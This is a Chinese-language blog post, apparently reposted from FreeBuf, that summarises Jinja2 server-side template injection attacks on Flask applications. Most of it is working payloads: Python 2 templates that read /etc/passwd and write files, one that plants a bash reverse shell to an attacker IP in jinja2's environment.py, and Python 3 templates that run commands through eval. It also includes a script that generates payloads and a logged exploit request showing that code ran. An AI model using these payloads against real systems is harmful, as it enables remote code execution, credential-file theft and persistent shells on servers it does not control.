Flask jinja2模板注入思路总结

一、总结一下常用的payload:

python2:

读写文件:

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:

//假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7
/dist-packages/jinja2/environment.py').
write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

python3:

命令执行/文件操作:

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

二、通用payload

其实这些payload的思路大概都是一样的,从python的内置变量出发,通过调用各类型的一些隐藏属性(方法),从而得到我们需要的函数。

__globals__:

__globals__中会包括引入了的modules;同时每个python脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等。

python3
__class__返回调用的参数类型
__base__返回基类
__mro__寻找基类时参考类
__sublclasses__()返回子类 

寻找一个payload:

//获得 object 类的子类
>>> ''.__class__.__base__.__subclasses__()
[<class 'str_iterator'>, <class 'mappingproxy'>, <class 'idlelib.AutoComplete.AutoComplete'>, <class 'pydoc.ModuleScanner'>, <class 'contextlib.ContextDecorator'>, <class 'textwrap.TextWrapper'>, <class 'socketserver.ThreadingMixIn'>, <class '_tkinter.tktimertoken'>, ...]

//从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>

// wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
>>> ''.__class__.__base__.__subclasses__()[30].__init__.__globals__
Traceback (most recent call last):
  File "<pyshell#8>", line 1, in <module>
    ''.__class__.__base__.__subclasses__()[30].__init__.__globals__
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'

//再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
<function TarFile.__init__ at 0x0000019D685A8158>

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
//然后用eval执行命令即可

 其中寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

输出:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
...

随便选一个payload填上命令


#Client request
http://127.0.0.1:5000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("print('hello shell')") }}{% endif %}{% endfor %}

#server terminal
#成功打印出 hello shell, 说明成功执行
hello shell
127.0.0.1 - - [10/Feb/2018 02:41:48] "GET /?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27ImmutableDictMixin%27%20%}{{%20c.__hash__.__globals__[%27__builtins__%27].eval(%22print(%27hello%20shell%27)%22)%20}}{%%20endif%20%}{%%20endfor%20%} HTTP/1.1" 200 -

当然这种方法不仅仅适合python3, python2也可以用这个方法,上面那个payload就是两个版本都可以使用的。

三、总结

 利用flask的ssti漏洞,可以通过python的内置变量得到功能强大的built-in functions, 从而执行各种命令。而python函数自带的__globals__属性使得寻找built-in functions的过程变得更加简单,不受版本约束。

参考链接:Flask jinja2模板注入思路总结 - FreeBuf网络安全行业门户

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值